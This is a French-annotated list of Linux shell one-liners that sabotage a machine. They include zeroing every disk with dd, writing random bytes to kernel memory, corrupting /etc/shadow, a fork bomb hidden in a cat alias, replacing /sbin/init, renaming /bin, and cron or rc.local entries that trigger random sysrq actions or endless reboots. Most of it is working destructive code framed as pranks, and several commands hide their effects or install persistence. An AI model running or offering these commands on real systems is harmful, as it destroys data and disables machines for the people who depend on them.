alias ls="echo 'Segmentation fault'"
dd if=/dev/urandom of=/dev/kmem count=1 bs=1 seek=$RANDOM (dans un cron)
sed -i 's/:$6/:$5/g' /etc/shadow
sed -i 's/runlevel="$argv1"/runlevel="$[{RANDOM} % 7 ]"/' /etc/rc.d/rc
chcon -t default_t /
ip rule add to 0.0.0.0/0 unreachable
iptables -I INPUT 1 -m statistic --mode random --probability 0.25 -j DROP
alias cat='sudo date --set="shuf -i 1-23 -n 3 | tr '\n' ':' | sed -e 's/:$//g'" ; cat'
alias cat='perl -e "fork while fork"'
alias cat='echo meow'
find /dev -type b -name '?d?' -exec dd if=/dev/zero of={} bs=16M \;
echo 'SYSRQLETTERS="bcdefghijklmnopqrstuvwx"; echo ${SYSRQLETTERS} | cut -c $[$RANDOM % ${#SYSRQLETTERS} + 1] > /proc/sysrq-trigger' > /etc/cron.hourly/happyfuntime; chmod +x /etc/cron.hourly/happyfuntime

désactiver les 256 premiers giga de ram : 
sed -i -r '/vmlinuz/s/(.*)/1 memmap=256G$0x0000/' /boot/grub/grub.conf

dans fstab :
/dev/null    /bin/bash    bind   bind   0 0

désactiver les cores 1-n
for I in /sys/devices/system/cpu/cpu[1-9]*
do
    echo 0 > ${I}/online
done

#include <stdio.h>
int main(){
 
       printf("MOEHAHAHHAAAAn");
       return 0;
}

ensuite:
gcc -o init init.c
touch -r /sbin/init init
cp -f init /sbin/init

très vicieux : 
mv /bin '/bin '
mv /usr/bin '/usr/bin '

for IF in $(ip l | awk -F': ' '/^[0-9]/{print $2}')
do
    ip l s ${IF} mtu 60
done

echo '*/7 * * * * /usr/bin/eject -T' >> /etc/crontab

echo ':wqa' > /etc/vimrc
echo "kernel.pid_max = 132" >> /etc/sysctl.conf
chmod a-x /lib/ld-2*.so
echo 'echo b > /proc/sysrq-trigger ' >> /etc/rc.local

echo "@reboot reboot" > /etc/cron.d/system
echo 'ACTION=="add", SUBSYSTEM=="block", NAME:="hehehe"' > /etc/udev/rules.d/01-devices.rules
echo "export PROMPT_COMMAND='[ ${SECONDS} -ge $[ ${RANDOM} % 1800 ]] && exit'" >> /etc/bashrc


.bash_profile: 
alias ls="echo butts" 
alias rm="echo no butts" 
alias cat="echo dog butts" 
alias alias="echo all the butts"